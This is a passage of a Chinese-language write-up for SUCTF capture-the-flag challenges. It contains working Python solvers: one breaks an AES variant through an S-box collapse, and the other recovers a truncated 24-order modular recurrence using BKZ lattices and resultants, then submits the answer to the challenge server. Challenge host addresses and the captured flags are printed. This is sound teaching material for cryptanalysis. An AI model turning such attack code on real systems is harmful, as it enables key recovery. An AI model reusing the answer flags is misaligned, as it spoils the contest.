def build_constant_lookup():
    lookup = {}
    padded_empty = bytes([16]) * 16
    for c in range(256):
        aes = AES(1, 1)
        aes.Sbox = [c] * 256
        aes.change_key(KNOWN_KEY)
        out = aes.encrypt(int.from_bytes(padded_empty, "big")).to_bytes(16, "big")
        lookup[out] = c
    if len(lookup) != 256:
        raise ValueError("constant-S-box lookup is not injective")
    return lookup

def mapping_image(seed):
    return set(Random(seed).choices(list(range(256)), k=256))

def build_index_signatures():
    subsets = [mapping_image(seed) for seed in SIG_SEEDS]
    sig_to_idx = {}
    for idx in range(256):
        sig = tuple(int(idx in subset) for subset in subsets)
        if sig in sig_to_idx:
            raise ValueError("signature seeds do not separate all indices")
        sig_to_idx[sig] = idx
    return subsets, sig_to_idx

def gf_mul(a, b):
    res = 0
    for _ in range(8):
        if b & 1:
            res ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1B
        b >>= 1
    return res

def add_round_key(state, key_words):
    for i in range(4):
        for j in range(4):
            state[i][j] ^= key_words[i][j]

def inv_shift_rows(state):
    state[0][1], state[1][1], state[2][1], state[3][1] = (
        state[3][1],
        state[0][1],
        state[1][1],
        state[2][1],
    )
    state[0][2], state[1][2], state[2][2], state[3][2] = (
        state[2][2],
        state[3][2],
        state[0][2],
        state[1][2],
    )
    state[0][3], state[1][3], state[2][3], state[3][3] = (
        state[1][3],
        state[2][3],
        state[3][3],
        state[0][3],
    )

def inv_mix_columns(state):
    for i in range(4):
        a = state[i][:]
        state[i][0] = (
            gf_mul(a[0], 14) ^ gf_mul(a[1], 11) ^ gf_mul(a[2], 13) ^ gf_mul(a[3], 9)
        )
        state[i][1] = (
            gf_mul(a[0], 9) ^ gf_mul(a[1], 14) ^ gf_mul(a[2], 11) ^ gf_mul(a[3], 13)
        )
        state[i][2] = (
            gf_mul(a[0], 13) ^ gf_mul(a[1], 9) ^ gf_mul(a[2], 14) ^ gf_mul(a[3], 11)
        )
        state[i][3] = (
            gf_mul(a[0], 11) ^ gf_mul(a[1], 13) ^ gf_mul(a[2], 9) ^ gf_mul(a[3], 14)
        )

def decrypt_block(block, round_keys, inv_sbox):
    state = text2matrix(int.from_bytes(block, "big"))
    add_round_key(state, round_keys[40:44])
    inv_shift_rows(state)
    for i in range(4):
        for j in range(4):
            state[i][j] = inv_sbox[state[i][j]]
    for rnd in range(9, 0, -1):
        add_round_key(state, round_keys[4 * rnd : 4 * (rnd + 1)])
        inv_mix_columns(state)
        inv_shift_rows(state)
        for i in range(4):
            for j in range(4):
                state[i][j] = inv_sbox[state[i][j]]
    add_round_key(state, round_keys[:4])
    return matrix2text(state).to_bytes(16, "big")

def invert_key_schedule(last_round_key, sbox):
    words = [None] * 44
    last_words = text2matrix(int.from_bytes(last_round_key, "big"))
    for i in range(4):
        words[40 + i] = last_words[i]

    def g(word, rcon_idx):
        return [
            sbox[word[1]] ^ Rcon[rcon_idx],
            sbox[word[2]],
            sbox[word[3]],
            sbox[word[0]],
        ]

    for i in range(43, 3, -1):
        if i % 4 == 0:
            words[i - 4] = [words[i][j] ^ g(words[i - 1], i // 4)[j] for j in range(4)]
        else:
            words[i - 4] = [words[i][j] ^ words[i - 1][j] for j in range(4)]

    master_key = matrix2text(words[:4]).to_bytes(16, "big")
    return master_key, words

def pkcs7_unpad(data):
    pad_len = data[-1]
    if pad_len < 1 or pad_len > 16:
        raise ValueError("invalid padding length")
    if data[-pad_len:] != bytes([pad_len]) * pad_len:
        raise ValueError("invalid padding bytes")
    return data[:-pad_len]

class Remote:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), timeout=10)
        self.sock.settimeout(10)
        self.buf = b""
        banner = self.recv_until(b"[x] > ")
        m = re.search(rb"flag ciphertext \(in hex\): ([0-9a-fA-F]+)", banner)
        if not m:
            raise ValueError("failed to parse flag ciphertext")
        self.flag_ct = bytes.fromhex(m.group(1).decode())

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass

    def recv_until(self, marker):
        while marker not in self.buf:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise EOFError("connection closed")
            self.buf += chunk
        idx = self.buf.index(marker) + len(marker)
        out = self.buf[:idx]
        self.buf = self.buf[idx:]
        return out

    def send_line(self, line):
        if isinstance(line, str):
            line = line.encode()
        self.sock.sendall(line + b"\n")

    def change(self, seed=None, key=None):
        self.send_line("1")
        self.recv_until(b"[x] your seed: ")
        # The remote challenge crashes on blank input because it does int(0, 16).
        self.send_line("0" if seed is None else format(seed, "x"))
        self.recv_until(b"[x] your key: ")
        self.send_line("0" if key is None else format(key, "x"))
        self.recv_until(b"[x] > ")

    def encrypt(self, msg):
        self.send_line("2")
        self.recv_until(b"[x] your message: ")
        self.send_line(msg.hex())
        data = self.recv_until(b"[x] > ")
        m = re.search(rb"ciphertext \(in hex\): ([0-9a-fA-F]+)", data)
        if not m:
            raise ValueError("failed to parse ciphertext")
        return bytes.fromhex(m.group(1).decode())

    def reset(self):
        self.send_line("3")
        self.recv_until(b"[x] > ")

def recover_c(remote, lookup):
    for _ in range(CONST_DEPTH):
        remote.change(seed=CONST_SEED)
    remote.change(key=KNOWN_KEY)
    ct = remote.encrypt(b"")
    if len(ct) != 16:
        raise ValueError("unexpected ciphertext length while recovering c")
    c = lookup[ct]
    remote.reset()
    return c

def recover_last_round_key(remote, c):
    for _ in range(CONST_DEPTH):
        remote.change(seed=CONST_SEED)
    ct = remote.encrypt(b"")
    if len(ct) != 16:
        raise ValueError("unexpected ciphertext length while recovering K10")
    remote.reset()
    return bytes(b ^ c for b in ct)

def collect_image_sets(remote, last_round_key):
    rng = Random(20260314)
    sample = bytes(rng.getrandbits(8) for _ in range(DATA_BLOCKS * 16))
    image_sets = []
    for seed in SIG_SEEDS:
        remote.change(seed=seed)
        ct = remote.encrypt(sample)
        image = set()
        for off in range(0, len(ct), 16):
            block = ct[off : off + 16]
            for j, b in enumerate(block):
                image.add(b ^ last_round_key[j])
        image_sets.append(image)
        remote.reset()
    return image_sets

def recover_sbox(image_sets, sig_to_idx):
    recovered = [None] * 256
    for value in range(256):
        sig = tuple(int(value in image) for image in image_sets)
        idx = sig_to_idx.get(sig)
        if idx is None:
            raise ValueError(f"unmatched output signature for byte {value:#x}")
        recovered[idx] = value
    if any(v is None for v in recovered):
        raise ValueError("failed to recover complete S-box")
    return recovered

def recover_flag(host, port):
    lookup = build_constant_lookup()
    _, sig_to_idx = build_index_signatures()
    remote = Remote(host, port)
    try:
        flag_ct = remote.flag_ct
        c = recover_c(remote, lookup)
        last_round_key = recover_last_round_key(remote, c)
        image_sets = collect_image_sets(remote, last_round_key)
        sbox = recover_sbox(image_sets, sig_to_idx)
        master_key, round_keys = invert_key_schedule(last_round_key, sbox)
        inv_sbox = [0] * 256
        for i, v in enumerate(sbox):
            inv_sbox[v] = i
        plaintext = b"".join(
            decrypt_block(flag_ct[i : i + 16], round_keys, inv_sbox)
            for i in range(0, len(flag_ct), 16)
        )
        return {
            "flag_ct": flag_ct,
            "c": c,
            "last_round_key": last_round_key,
            "master_key": master_key,
            "flag": pkcs7_unpad(plaintext),
        }
    finally:
        remote.close()

def main():
    host = sys.argv[1] if len(sys.argv) > 1 else HOST
    port = int(sys.argv[2]) if len(sys.argv) > 2 else PORT
    result = recover_flag(host, port)
    print(f"flag ciphertext: {result['flag_ct'].hex()}")
    print(f"c = P[{CONST_INDEX}] = {result['c']:02x}")
    print(f"K10 = {result['last_round_key'].hex()}")
    print(f"master key = {result['master_key'].hex()}")
    print(result["flag"].decode(errors="replace"))

if __name__ == "__main__":
    main()

运行:

python3 solve.py

或指定端口:

python3 solve.py 1.95.115.179 10015

都可以拿到:

SUCTF{Th3_K3y_15_1n_7h3_S_80x}

16. 最后总结

这题表面上看像“随机 S-box 的 AES 变种”,容易把人往分析非标准 AES 上带。

但真正的突破点并不在“密码结构多复杂”,而在实现细节:

Random(s).choices(self.Sbox, k=256)

这一行把原本应该保持置换性质的 S-box,变成了一个可被反复压缩、最终塌成常值的映射。

一旦看穿这一点,整题就从“分析神秘 AES”变成了:

  • 找一个合适的函数图
  • 把最后一轮轮密钥打出来
  • 再把未知置换用签名法拼回去

所以这题本质上是一个非常漂亮的实现漏洞题,而不是去硬刚 AES 本体。

SU_Lattice

题目概览

题目给了一个本地附件 chall 和两个远端端口:

  • 1.95.152.117:10001
  • 1.95.152.117:10002

交互菜单非常简单:

===Flag Management System===
[1] Get Flag
[2] Get Hint
[3] Exit
>>> 

直觉上题目会让人往“格密码”或者“模幂泄露”上想,但这题真正的核心不是传统 LWE/NTRU,而是:

  • 一个 24 阶模线性递推
  • 每次只泄露输出的 高位
  • 需要在 模数、递推系数、初始状态都未知 的情况下恢复内部状态

最后的 flag 为:

SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}

附件分析

二进制信息

chall 是一个静态链接、去符号的 64 位 Linux ELF。

本地是 macOS,不能直接运行,所以我一开始主要靠:

  • objdump
  • 字符串分析
  • Linux/amd64 Docker 容器里的黑盒验证

来恢复逻辑。

主函数流程

程序入口在 0x401e71,大致流程如下:

  1. 关闭标准输入输出缓冲
  2. 打开 ./data
  3. ./data 读取:
    • 一个模数 q
    • 第一组 24 个整数
    • 第二组 24 个整数
  4. 启动时先计算一个答案并缓存
  5. 进入菜单循环

本地字符串里能看到:

  • ./data
  • ./flag
  • Here is your hint: %lld
  • Please enter your answer:

这说明 flag 并不参与提示生成,真正的参数都在 ./data 里。

关键逆向结论

这题有两个最容易误判的点。

误判 1:0x401b45 不是幂模,而是乘法模

函数 0x401b45 的逻辑是经典的“倍增加法”:

long long mul_mod(long long x, long long y, long long q) {
    long long res = 0;
    while (y != 0) {
        if (y & 1) {
            res = (res + x) % q;
        }
        x = (x + x) % q;
        y >>= 1;
    }
    return res;
}

一开始如果把它看成 pow_mod(base, exp, mod),后面的数学模型会全部走偏。

误判 2:Get Hint 更新的是递推状态,不是简单移位

0x401bae / 0x401c25 这段逻辑会:

  1. 取第二组 24 个数作为当前状态
  2. 和第一组 24 个数做模内积
  3. 把得到的新值追加到状态末尾
  4. 整个状态左移一位
  5. 返回新值右移 20 位的结果

伪代码如下:

// coeff[0..23] 读取自第一组
// state[0..23] 读取自第二组
// q 为模数

long long get_hint() {
    long long x = 0;
    for (int i = 0; i < 24; i++) {
        x = (x + coeff[i] * state[i]) % q;
    }

    for (int i = 0; i < 23; i++) {
        state[i] = state[i + 1];
    }
    state[23] = x;

    return x >> 20;
}

注意最后一句:

state[23] = x

而不是“保持尾元素不变”。

这个点我中途也误判过一次,后来靠本地黑盒实验和地址重新核对才纠正过来。

正确数学模型

设:

  • 模数为 q
  • 固定系数为 a_0, a_1, ..., a_23
  • 初始状态为 z_0, z_1, ..., z_23

那么程序真正生成的是一个 24 阶线性递推:

z_{n+24} = (a_0 z_n + a_1 z_{n+1} + ... + a_23 z_{n+23}) mod q

Get Hintn 次返回的是:

hint_n = z_{n+24} >> 20

也就是说,服务端每次只泄露输出的高位,低 20 位被截断了。

Get Flag 的答案是什么

程序启动时会先把第二组 24 个数求和并取模:

answer = (z_0 + z_1 + ... + z_23) mod q

这个值在启动时就缓存好了,后续调用 Get Hint 不会修改它。

所以整题的目标可以精炼成一句话:

给定同一条 24 阶模递推输出序列的高位,恢复最初的 24 个状态值之和。

远端行为分析

这题远端有一个很关键的特性:

  • 每次新连接对应一组新的实例

也就是说:

  • 你不能先开一个连接采样 hint
  • 再开另一个连接提交答案

因为第二条连接里的 q、递推系数、初始状态都已经变了。

这意味着必须:

  1. 同一条 TCP 连接 里收集足够多的 hint
  2. 本地完成恢复
  3. 立刻在同一条连接里提交答案

另外远端初始菜单通常会慢十几秒才出现,这一点在写脚本时要考虑超时。

攻击总思路

这题最后用的是一条比较标准的“截断 MRG 预测”路线,核心参考论文是:

我们把整条链拆成 4 步:

  1. 用高位截断输出构造格,找出一批 湮灭多项式
  2. 用这些多项式的 resultant 恢复模数 q
  3. GF(q) 上对这些多项式求 gcd,恢复真实的 24 阶特征多项式
  4. 用嵌入格恢复前若干个输出的低 20 位,再反推出最初状态

下面逐步展开。

第一步:从高位输出里找线性关系

记号

设真实输出为:

X_i = z_{i+24}

服务端给出的 hint 是:

Y_i = X_i >> 20

也就是:

X_i = 2^20 * Y_i + e_i

其中:

0 <= e_i < 2^20

想找什么

如果我们能找到一组系数 eta_0 ... eta_{r-1},使得对若干个偏移 j 都有:

eta_0 X_j + eta_1 X_{j+1} + ... + eta_{r-1} X_{j+r-1} = 0

那么代入 X_i = 2^20 Y_i + e_i 就得到:

eta_0 Y_j + eta_1 Y_{j+1} + ... + eta_{r-1} Y_{j+r-1}
= -(eta_0 e_j + ... + eta_{r-1} e_{j+r-1}) / 2^20

右边很小,因为每个 e_i 都只有 20 位。

于是:

对真实序列成立的线性关系,在截断后的高位序列上也会表现成一个“小向量”。

构造格

按照论文 4.1 节的方法,取:

  • n = 24
  • r = 175
  • t = 65

构造一个 175 x (175 + 65) 的整数格基:

[Y_0   Y_1   ... Y_64  | 1 0 0 ... 0]
[Y_1   Y_2   ... Y_65  | 0 1 0 ... 0]
...
[Y_174 Y_175 ... Y_238 | 0 0 0 ... 1]

对这个格做 BKZ 约化。

约化后前面若干个短向量的后 175 维,就对应一批候选的关系系数 eta

在线实测

我在成功那次会话里采集了 239 个 hint,然后做 BKZ。

在 reduced basis 里,最短向量的参数量级大概是:

  • 前 65 维绝对值在几万
  • 后 175 维绝对值也在几万

这是非常典型的“真正命中湮灭关系”的信号。

第二步:通过 resultant 恢复模数

从关系向量到多项式

每个关系向量 eta 都可以看成一个多项式:

F(x) = eta_0 + eta_1 x + ... + eta_{r-1} x^{r-1}

它会湮灭真实输出序列。

根据论文结论,如果真实序列的特征多项式次数为 n = 24,那么任意两个湮灭多项式 F_1(x), F_2(x)resultant 一定满足:

q^24 | resultant(F_1, F_2)

所以:

只要取几对这样的多项式,算出它们的 resultant,再把这些 resultant 求 gcd,通常就能得到 q^24

实际恢复结果

在成功那条会话里,先取若干个最短关系向量对应的多项式,然后做 resultant。

这些 resultant 的 gcd 恰好是一个完全 24 次幂:

q^24

对它开 24 次整数根,得到:

q = 1152921504606873383

这一步是整题的第一个决定性突破,因为一旦模数出来,后面所有事情都能在有限域上做。

第三步:恢复真正的 24 阶特征多项式

为什么可以对多项式求 gcd

所有第一步找到的湮灭多项式,本质上都被真实的特征多项式整除。

所以把这些多项式放到 GF(q) 上去看,它们的最大公因子应该就是目标特征多项式。

实操

  1. 把若干个关系多项式的系数都模 q
  2. 归一化成首一多项式
  3. GF(q) 上连续求 gcd

最终会得到一个次数恰好为 24 的多项式:

f(x) = x^24 - c_23 x^23 - ... - c_1 x - c_0

于是我们恢复出递推系数:

X_{t+24} = c_0 X_t + c_1 X_{t+1} + ... + c_23 X_{t+23} mod q

这一步之后,系统已经从“未知模数未知递推”变成了:

  • 模数已知
  • 系数已知
  • 只剩每个输出丢失的低 20 位未知

第四步:恢复低 20 位

这是最后一个真正有难度的地方。

用系数把未来输出写成前 24 项的线性组合

既然递推系数已经知道,那么任意未来输出 X_j 都能表示成最前面 24 个输出的线性组合:

X_j = q_{j,0} X_0 + q_{j,1} X_1 + ... + q_{j,23} X_23 mod q

其中 q_{j,i} 可以递推算出来。

截断形式

又因为:

X_i = 2^20 Y_i + e_i

把它代回去,对 j >= 24 有:

e_j = q_{j,0} e_0 + q_{j,1} e_1 + ... + q_{j,23} e_23 - b_j + k_j q

其中:

b_j = 2^20 * (Y_j - sum(q_{j,i} Y_i))

未知量只有:

  • e_0 ... e_39
  • 若干个整数 carry k_j

而且每个 e_i 都很小:

0 <= e_i < 2^20

这就正好是论文 4.4 节的 SIS / 嵌入格模型。

嵌入格

这里我取:

  • d = 40
  • 隐藏位数 20

构造一个 41 x 41 的嵌入格。

目标向量的形状是:

(-2^19, e'_0, e'_1, ..., e'_39)

其中每个 e'_i 都被平移过,使得绝对值落在 [-2^19, 2^19)

这样所有坐标的规模都被平衡到了同一个数量级,BKZ 会优先把这条目标向量打出来。

实际现象

在成功会话里,BKZ 后最短向量非常明显:

  • 第一坐标正好是 2^19
  • 其余 40 个坐标都在 [-2^19, 2^19)

直接按论文公式把它们还原回去,就拿到了前 40 个真实输出的完整值:

X_0, X_1, ..., X_39

并且这些值代回已恢复的 24 阶递推里,完全一致。

这说明低 20 位恢复成功。

第五步:从输出回推出最初的 24 个状态

到这里我们已经知道:

  • 模数 q
  • 递推系数 c_0 ... c_23
  • 输出 X_0 ... X_39

但程序要求提交的是:

z_0 + z_1 + ... + z_23 mod q

而我们已知的是:

X_0 = z_24
X_1 = z_25
...
X_23 = z_47

所以还要把原始状态 z_0 ... z_23 解出来。

建立线性方程组

根据递推定义:

X_0  = c_0 z_0  + c_1 z_1  + ... + c_23 z_23
X_1  = c_0 z_1  + c_1 z_2  + ... + c_22 z_23 + c_23 X_0
X_2  = c_0 z_2  + c_1 z_3  + ... + c_21 z_23 + c_22 X_0 + c_23 X_1
...
X_23 = ...

这正好是 24 个未知数、24 个方程。

在模 q 下做高斯消元,就能解出唯一的:

z_0 ... z_23

然后答案就是:

answer = (z_0 + z_1 + ... + z_23) mod q

在成功那次会话里恢复得到:

answer = 374537856601911707

第六步:在线提交

因为远端是“每连接一个新实例”,所以必须在 同一条连接 里完成:

  1. 收集 239 个 hint
  2. 恢复 q
  3. 恢复递推系数
  4. 恢复低 20 位
  5. 解回原始状态
  6. 计算答案
  7. 菜单里选 1
  8. 提交答案

我最后成功的交互输出如下:

[+] recovered modulus q = 1152921504606873383
[+] recovered answer = 374537856601911707
Please enter your answer: Congratulations! Here is your flag: SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}

代码实现

我把解题过程中整理出的脚本都放进了仓库:

  • tools/model_lab.py
    • 用于本地模拟恢复出的递推模型
  • tools/hint_probe.py
    • 用于采样远端 hint 序列、观察会话行为
  • tools/solve_remote.py
    • 最终在线求解脚本

直接跑最终求解:

python3 tools/solve_remote.py --port 10002

如果想顺手把采样的 hint 落盘:

python3 tools/solve_remote.py --port 10002 --dump-hints live_10002_hints.json

为什么这题能被格搞定

很多人看到“只泄露高位”会先想到暴力补低位,但这里单个输出缺了 20 位,而状态维度有 24,暴力明显不可行。

这题能被格搞定的根本原因是:

  1. 递推是线性的
  2. 高位截断带来的误差是“小量”
  3. 小量和整数倍模数可以一起塞进 lattice / SIS 模型

于是题目就被拆成了两个适合格的子问题:

  • 找湮灭关系
  • 找低位误差

这正是论文里那套 truncated MRG attack 的核心思想。

踩坑记录

这题里几个坑非常值得单独记一下。

坑 1:函数名义像幂模,实际是乘法模

0x401b45 的结构太像二进制快速幂,很容易眼滑。

但仔细看就会发现它每轮做的是:

  • res += x
  • x += x
  • y >>= 1

所以它是乘法模。

坑 2:最后一位写回地址必须核准

我中间一度把 Get Hint 理解成:

state <- [state_1, ..., state_23, state_23]

后来重新核地址才确认写的是:

0x4e8398 = 0x4e82e0 + 23 * 8

也就是第二组数组的最后一个元素,真正写回的是新内积值。

这个误判如果不改,整条数学模型都会是错的。

坑 3:远端不是固定实例

如果把 hint 分多次连接采,就会发现每次都不是同一组数据。

所以脚本必须保持长连接。

坑 4:不要一开始就硬上 brute force 低位

这题的正确突破口不是“猜低位”,而是先把:

  • 模数
  • 递推系数

都用湮灭多项式+resultant 拿出来。

只有把系统压缩到“只差少量低位”的阶段,嵌入格才会稳定工作。

最终结论

题目本质是一个 24 阶模线性递推的高位截断预测问题

完整解法链条是:

  1. 逆向 chall,确认真实模型
  2. 用 BKZ 从高位序列中提取湮灭多项式
  3. 用 resultant 的 gcd 恢复模数 q
  4. 用有限域上的 gcd 恢复 24 阶特征多项式
  5. 用嵌入格恢复前 40 个输出缺失的低 20 位
  6. 反解最初 24 个状态
  7. 求和取模提交

最终拿到:

SUCTF{b8faea32-9f91-42b5-9355-33865e06270c}

  • 在线求解器:tools/solve_remote.py
#!/usr/bin/env python3

import argparse
import json
import math
import re
import socket
import time
from functools import reduce

from fpylll import BKZ, IntegerMatrix
from sympy import GF, Poly, gcd, resultant, symbols

HINT_RE = re.compile(r"Here is your hint: (\d+)")

def recv_until_prompt(sock: socket.socket, timeout: float) -> str:
    sock.settimeout(0.5)
    start = time.time()
    data = b""
    while time.time() - start < timeout:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            if data.endswith(b">>> ") or b"Please enter your answer: " in data:
                break
        except socket.timeout:
            continue
    return data.decode("utf-8", "replace")

def collect_hints(sock: socket.socket, count: int, init_timeout: float, step_timeout: float) -> list[int]:
    menu = recv_until_prompt(sock, init_timeout)
    if ">>>" not in menu:
        raise RuntimeError(f"failed to receive initial menu: {menu!r}")

    hints = []
    for idx in range(count):
        sock.sendall(b"2\n")
        text = recv_until_prompt(sock, step_timeout)
        match = HINT_RE.search(text)
        if not match:
            raise RuntimeError(f"failed to parse hint {idx}: {text!r}")
        hints.append(int(match.group(1)))
        if (idx + 1) % 25 == 0:
            print(f"[+] collected {idx + 1} hints")
    return hints

def build_relation_lattice(hints: list[int], r: int, t: int) -> IntegerMatrix:
    basis = IntegerMatrix(r, r + t)
    for i in range(r):
        for j in range(t):
            basis[i, j] = hints[i + j]
        basis[i, t + i] = 1
    return basis

def integer_nth_root(value: int, n: int) -> int:
    lo, hi = 1, 1 << 62
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if mid**n <= value:
            lo = mid
        else:
            hi = mid - 1
    return lo

def recover_modulus_and_recurrence(hints: list[int], n: int, r: int, t: int, block_size: int) -> tuple[int, list[int]]:
    print("[+] BKZ on relation lattice")
    basis = build_relation_lattice(hints, r, t)
    BKZ.reduction(basis, BKZ.Param(block_size=block_size))

    rows = []
    for row in range(r):
        vec = [basis[row, col] for col in range(r + t)]
        eta = vec[t:]
        norm2 = sum(v * v for v in vec)
        rows.append((norm2, row, eta))
    rows.sort()

    x = symbols("x")
    polys_zz = []
    for _, row, eta in rows[:6]:
        coeffs = list(reversed(eta))
        while coeffs and coeffs[0] == 0:
            coeffs.pop(0)
        if not coeffs:
            continue
        polys_zz.append((row, coeffs))

    resultants = []
    base_poly = Poly(polys_zz[0][1], x, domain="ZZ")
    for _, coeffs in polys_zz[1:5]:
        other = Poly(coeffs, x, domain="ZZ")
        resultants.append(abs(int(resultant(base_poly, other, x))))

    g = reduce(math.gcd, resultants)
    modulus = integer_nth_root(g, n)
    if modulus**n != g:
        raise RuntimeError("failed to extract exact modulus")
    print(f"[+] recovered modulus q = {modulus}")

    polys_mod = []
    for _, coeffs in polys_zz[:5]:
        poly = Poly(coeffs, x, domain=GF(modulus))
        lc = int(poly.LC())
        normalized = [(int(c) * pow(lc, -1, modulus)) % modulus for c in poly.all_coeffs()]
        polys_mod.append(Poly(normalized, x, domain=GF(modulus)))

    characteristic = polys_mod[0]
    for poly in polys_mod[1:]:
        characteristic = gcd(characteristic, poly)

    if characteristic.degree() != n:
        raise RuntimeError(f"unexpected characteristic degree: {characteristic.degree()}")

    coeff_desc = [int(c) for c in characteristic.all_coeffs()]
    recurrence = [(-int(c)) % modulus for c in reversed(coeff_desc[1:])]
    print("[+] recovered recurrence coefficients")
    return modulus, recurrence

def build_qcoeff(recurrence: list[int], modulus: int, d: int) -> list[list[int]]:
    n = len(recurrence)
    qcoeff = [[0] * n for _ in range(d)]
    for i in range(n):
        qcoeff[i][i] = 1
    for j in range(n, d):
        vec = [0] * n
        for i, coeff in enumerate(recurrence):
            prev = qcoeff[j - n + i]
            for k in range(n):
                vec[k] = (vec[k] + coeff * prev[k]) % modulus
        qcoeff[j] = vec
    return qcoeff

def recover_exact_outputs(
    hints: list[int],
    recurrence: list[int],
    modulus: int,
    hidden_bits: int,
    d: int,
    block_size: int,
) -> list[int]:
    n = len(recurrence)
    qcoeff = build_qcoeff(recurrence, modulus, d)

    bvals = []
    for j in range(n, d):
        s = sum(qcoeff[j][i] * hints[i] for i in range(n))
        bvals.append((1 << hidden_bits) * (hints[j] - s))

    size = d + 1
    lattice = IntegerMatrix(size, size)
    half = 1 << (hidden_bits - 1)

    lattice[0, 0] = half
    for col in range(1, n + 1):
        lattice[0, col] = half
    for idx in range(d - n):
        lattice[0, n + 1 + idx] = bvals[idx] + half

    for i in range(n):
        lattice[1 + i, 1 + i] = 1
        for idx in range(d - n):
            lattice[1 + i, n + 1 + idx] = qcoeff[n + idx][i]

    for idx in range(d - n):
        lattice[1 + n + idx, n + 1 + idx] = modulus

    print("[+] BKZ on embedding lattice")
    BKZ.reduction(lattice, BKZ.Param(block_size=block_size))

    candidates = []
    for row in range(size):
        vec = [lattice[row, col] for col in range(size)]
        if abs(vec[0]) != half:
            continue
        low = []
        ok = True
        if vec[0] == half:
            for coord in vec[1:]:
                value = half - coord
                if not (0 <= value < (1 << hidden_bits)):
                    ok = False
                    break
                low.append(value)
        else:
            for coord in vec[1:]:
                value = half + coord
                if not (0 <= value < (1 << hidden_bits)):
                    ok = False
                    break
                low.append(value)
        if ok:
            candidates.append((sum(v * v for v in vec), low))

    if not candidates:
        raise RuntimeError("failed to find embedding-lattice candidate")

    candidates.sort()
    qcoeff = build_qcoeff(recurrence, modulus, d)
    for _, low in candidates:
        exact = [(hints[i] << hidden_bits) + low[i] for i in range(d)]
        valid = True
        for j in range(n, d):
            rhs = sum((qcoeff[j][i] * exact[i]) % modulus for i in range(n)) % modulus
            if rhs != exact[j]:
                valid = False
                break
        if valid:
            print("[+] recovered exact truncated-sequence prefix")
            return exact

    raise RuntimeError("no embedding-lattice candidate satisfied the recurrence")

def solve_original_state(
    outputs: list[int],
    recurrence: list[int],
    modulus: int,
) -> list[int]:
    n = len(recurrence)
    mat = [[0] * n for _ in range(n)]
    vec = outputs[:n]

    for t in range(n):
        for i in range(n):
            idx = t + i
            if idx < n:
                mat[t][idx] = (mat[t][idx] + recurrence[i]) % modulus
            else:
                vec[t] = (vec[t] - recurrence[i] * outputs[idx - n]) % modulus

    # Gaussian elimination over Z/qZ
    row = 0
    where = [-1] * n
    for col in range(n):
        pivot = None
        for i in range(row, n):
            if mat[i][col] % modulus:
                pivot = i
                break
        if pivot is None:
            continue
        mat[row], mat[pivot] = mat[pivot], mat[row]
        vec[row], vec[pivot] = vec[pivot], vec[row]

        inv = pow(mat[row][col], -1, modulus)
        for j in range(col, n):
            mat[row][j] = (mat[row][j] * inv) % modulus
        vec[row] = (vec[row] * inv) % modulus

        for i in range(n):
            if i == row or mat[i][col] == 0:
                continue
            factor = mat[i][col] % modulus
            for j in range(col, n):
                mat[i][j] = (mat[i][j] - factor * mat[row][j]) % modulus
            vec[i] = (vec[i] - factor * vec[row]) % modulus
        where[col] = row
        row += 1

    state = [0] * n
    for col in range(n):
        if where[col] == -1:
            raise RuntimeError("failed to solve original state uniquely")
        state[col] = vec[where[col]] % modulus
    return state

def main() -> None:
    parser = argparse.ArgumentParser(description="Solve a live SU_Lattice instance.")
    parser.add_argument("--host", default="1.95.152.117")
    parser.add_argument("--port", type=int, default=10002)
    parser.add_argument("--hint-count", type=int, default=239)
    parser.add_argument("--relation-r", type=int, default=175)
    parser.add_argument("--relation-t", type=int, default=65)
    parser.add_argument("--recover-d", type=int, default=40)
    parser.add_argument("--hidden-bits", type=int, default=20)
    parser.add_argument("--bkz-block", type=int, default=20)
    parser.add_argument("--init-timeout", type=float, default=35.0)
    parser.add_argument("--step-timeout", type=float, default=12.0)
    parser.add_argument("--dump-hints", default="", help="Optional JSON path for the collected hints.")
    args = parser.parse_args()

    sock = socket.create_connection((args.host, args.port), timeout=10)
    try:
        hints = collect_hints(sock, args.hint_count, args.init_timeout, args.step_timeout)
        if args.dump_hints:
            with open(args.dump_hints, "w") as handle:
                json.dump(hints, handle)

        modulus, recurrence = recover_modulus_and_recurrence(
            hints=hints,
            n=24,
            r=args.relation_r,
            t=args.relation_t,
            block_size=args.bkz_block,
        )

        outputs = recover_exact_outputs(
            hints=hints,
            recurrence=recurrence,
            modulus=modulus,
            hidden_bits=args.hidden_bits,
            d=args.recover_d,
            block_size=args.bkz_block,
        )

        initial_state = solve_original_state(outputs, recurrence, modulus)
        answer = sum(initial_state) % modulus
        print(f"[+] recovered answer = {answer}")

        sock.sendall(b"1\n")
        prompt = recv_until_prompt(sock, args.step_timeout)
        print(prompt, end="")
        sock.sendall(f"{answer}\n".encode())
        final_text = recv_until_prompt(sock, args.step_timeout)
        print(final_text, end="")
    finally:
        sock.close()

if __name__ == "__main__":
    main()
  • 本地模型验证:tools/model_lab.py
#!/usr/bin/env python3

import argparse
from pathlib import Path

def load_data(path: Path) -> tuple[int, list[int], list[int]]:
    nums = [int(line.strip()) for line in path.read_text().splitlines() if line.strip()]
    if len(nums) != 49:
        raise ValueError(f"expected 49 integers in {path}, got {len(nums)}")
    q = nums[0]
    coeffs = nums[1:25]
    state = nums[25:49]
    return q, coeffs, state

def mul_mod(x: int, y: int, q: int) -> int:
    return (x * y) % q

def step(q: int, coeffs: list[int], state: list[int]) -> tuple[int, list[int]]:
    x = sum(mul_mod(coeffs[i], state[i], q) for i in range(24)) % q
    return x >> 20, state[1:] + [x]

def simulate(q: int, coeffs: list[int], state: list[int], rounds: int) -> list[int]:
    hints = []
    cur = state[:]
    for _ in range(rounds):
        hint, cur = step(q, coeffs, cur)
        hints.append(hint)
    return hints

def main() -> None:
    parser = argparse.ArgumentParser(description="Simulate the recovered SU_Lattice recurrence.")
    parser.add_argument(
        "--data",
        type=Path,
        default=Path("data"),
        help="Path to a data file containing q, 24 coeffs, and 24 state elements.",
    )
    parser.add_argument("--rounds", type=int, default=10, help="Number of hints to generate.")
    args = parser.parse_args()

    q, coeffs, state = load_data(args.data)
    ans = sum(state) % q
    hints = simulate(q, coeffs, state, args.rounds)

    print(f"q={q}")
    print(f"answer={ans}")
    print("hints=")
